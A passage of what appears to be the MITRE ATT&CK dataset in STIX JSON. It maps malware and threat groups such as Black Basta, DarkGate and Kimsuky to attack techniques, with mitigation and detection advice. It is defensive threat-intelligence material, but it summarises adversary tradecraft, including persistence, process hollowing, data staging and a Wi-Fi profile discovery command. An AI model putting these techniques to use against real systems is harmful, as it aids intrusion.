2023.","url":"https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T19:03:57.435Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can create a new service to establish persistence.(Citation: Minerva Labs Black Basta May 2022)(Citation: Avertium Black Basta June 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a511a41e-0ab0-4088-8617-5de975b5d9a8","type":"relationship","created":"2020-09-29T19:16:57.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."}],"modified":"2020-09-29T19:16:57.936Z","description":"[WellMail](https://attack.mitre.org/software/S0515) can decompress scripts received from C2.(Citation: CISA WellMail July 2020)","relationship_type":"uses","source_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a51c66ad-3359-4119-96c2-6e35b2411578","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries.(Citation: SpectorOps Subverting Trust Sept 2017) Also analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017)","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"},{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a51caaf6-3b9d-4953-9850-bf9217877644","type":"relationship","created":"2020-06-19T20:39:21.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-26T14:33:49.436Z","description":"[Denis](https://attack.mitre.org/software/S0354) used the IsDebuggerPresent, OutputDebugString, and SetLastError APIs to avoid debugging. [Denis](https://attack.mitre.org/software/S0354) used GetProcAddress and LoadLibrary to dynamically resolve APIs. [Denis](https://attack.mitre.org/software/S0354) also used the Wow64SetThreadContext API as part of a process hollowing process.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a51ea812-182b-47d8-94c2-331e4d9973f5","type":"relationship","created":"2020-05-06T18:10:59.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T18:10:59.232Z","description":"[Kivars](https://attack.mitre.org/software/S0437) has the ability to remotely trigger keyboard input and mouse clicks. (Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5252967-35e1-426a-8e92-ee066b7abcfc","created":"2024-02-14T20:57:47.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"},{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T14:43:41.980Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) uses the native Windows API CallWindowProc() to decode and launch encoded shellcode payloads during execution.(Citation: Trellix Darkgate 2023) [DarkGate](https://attack.mitre.org/software/S1111) can call kernel mode functions directly to hide the use of process hollowing methods during execution.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a5347b54-6020-4e8e-acef-6428731cbd7d","created":"2022-03-24T11:46:08.674Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694)'s dropper can be packed with UPX.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-17T18:28:32.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a535c99e-66f2-47c9-aa25-352c90efd2ff","type":"relationship","created":"2020-12-15T18:24:57.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."},{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"modified":"2022-02-09T15:31:23.849Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has staged collected data files under C:\\Program Files\\Common Files\\System\\Ole DB\\.(Citation: CISA AA20-301A Kimsuky)(Citation: Talos Kimsuky Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a53827f4-1b98-422e-b6fd-0504c3f05a73","created":"2024-06-10T19:50:03.849Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:50:03.849Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) command and control activity includes transmission of an RSA public key in communication from the server, but this is followed by subsequent negotiation stages that represent a form of handshake similar to TLS negotiation.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a53879ca-2185-42ea-84de-823878fb871d","created":"2023-10-02T16:45:20.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-06T13:34:46.584Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has masqueraded staged data by using the Windows [certutil](https://attack.mitre.org/software/S0160) utility to generate fake Base64 encoded certificates with the input file.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a538a888-c4a1-49a7-b343-eb85ab6d665f","created":"2020-10-19T23:49:08.670Z","x_mitre_version":"1.0","external_references":[{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Segregate SNMP traffic on a separate management network.(Citation: US-CERT TA17-156A SNMP Abuse 2017)","modified":"2022-04-19T21:34:05.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a538c673-e7f2-4fd0-923e-d874a3f3d363","type":"relationship","created":"2020-12-11T17:03:43.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T17:03:43.930Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has utilized tools to aggregate data prior to exfiltration.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a53cd21b-273f-43cf-a7e1-375aee6b66e9","type":"relationship","created":"2020-10-19T19:42:19.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Credentials Management","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#40","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Credentials Management. Retrieved October 19, 2020."}],"modified":"2020-10-22T16:54:59.229Z","description":"Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always encrypted, per vendor recommendations. (Citation: Cisco IOS Software Integrity Assurance - Credentials Management)","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a53e9789-54e4-486c-8856-3281c9ef1a23","created":"2024-01-02T12:28:35.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Token Protection 2023","description":"Microsoft. (2023, October 23). Conditional Access: Token protection (preview). Retrieved January 2, 2024.","url":"https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection"},{"source_name":"Okta DPoP 2023","description":"Venkat Viswanathan. (2023, June 13). A leap forward in token security: Okta adds support for DPoP. Retrieved January 2, 2024.","url":"https://www.okta.com/blog/2023/06/a-leap-forward-in-token-security-okta-adds-support-for-dpop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T21:20:08.968Z","description":"Consider implementing token binding strategies, such as Azure AD token protection or OAuth Proof of Possession, that cryptographically bind a token to a secret. This may prevent the token from being used without knowledge of the secret or possession of the device the token is tied to.(Citation: Microsoft Token Protection 2023)(Citation: Okta DPoP 2023)","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a544c97e-9bc3-415a-94b5-ec4fc209800a","created":"2022-04-08T21:12:17.699Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CharmPower](https://attack.mitre.org/software/S0674) can use `netsh wlan show profiles` to list specific Wi-Fi profile details.(Citation: Check Point APT35 CharmPower January 2022)","modified":"2022-04-08T21:12:17.699Z","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a549ccf7-8610-4cf8-80d7-98491566c0cd","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA459 April 2017","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"},{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.735Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) has used HTTP for C2.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a54b034b-75c1-4f83-b587-ef81b03b8444","created":"2023-07-20T15:37:23.831Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-20T15:37:23.831Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). ","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a54ce63d-df2d-4772-aa87-9f9e7af43473","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may leverage information repositories to mine valuable information. Information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a552bf3d-a438-406f-8f5b-8e263adad080","type":"relationship","created":"2019-04-17T16:58:29.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ APT10 Dec 2018","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."},{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."},{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T14:50:51.401Z","description":"(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5565e9f-47fa-41d3-9e15-608b3844fc8d","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for newly executed processes that may attempt to access detailed information about the password policy used within an enterprise network or cloud environment.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a55c163c-3eb8-47a2-8ad1-3a667b4ac129","type":"relationship","created":"2021-01-27T20:35:33.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-21T12:32:47.132Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used PowerShell to drop and execute malware loaders.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a55d75ab-f5bb-4892-80de-c878be26a67d","type":"relationship","created":"2019-10-05T02:35:42.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Leafminer July 2018","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}],"modified":"2019-10-05T02:35:42.069Z","description":"(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a55e0219-f440-4523-9bfa-00c562824005","type":"relationship","created":"2021-11-29T20:14:58.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:14:58.466Z","description":"[Pandora](https://attack.mitre.org/software/S0664) has the ability to install itself as a Windows service.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a564f3da-349a-4e65-826c-8ca60bc920bf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hacking Team","description":"FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"}],"modified":"2019-04-16T20:26:40.978Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has the capability to list processes.(Citation: FireEye Hacking Team)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a566127b-1d88-4b38-84dd-4686e2837399","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"}],"modified":"2020-03-19T21:19:05.640Z","description":"[Daserf](https://attack.mitre.org/software/S0187) can use steganography to hide malicious code downloaded to the victim.(Citation: Trend Micro Daserf Nov 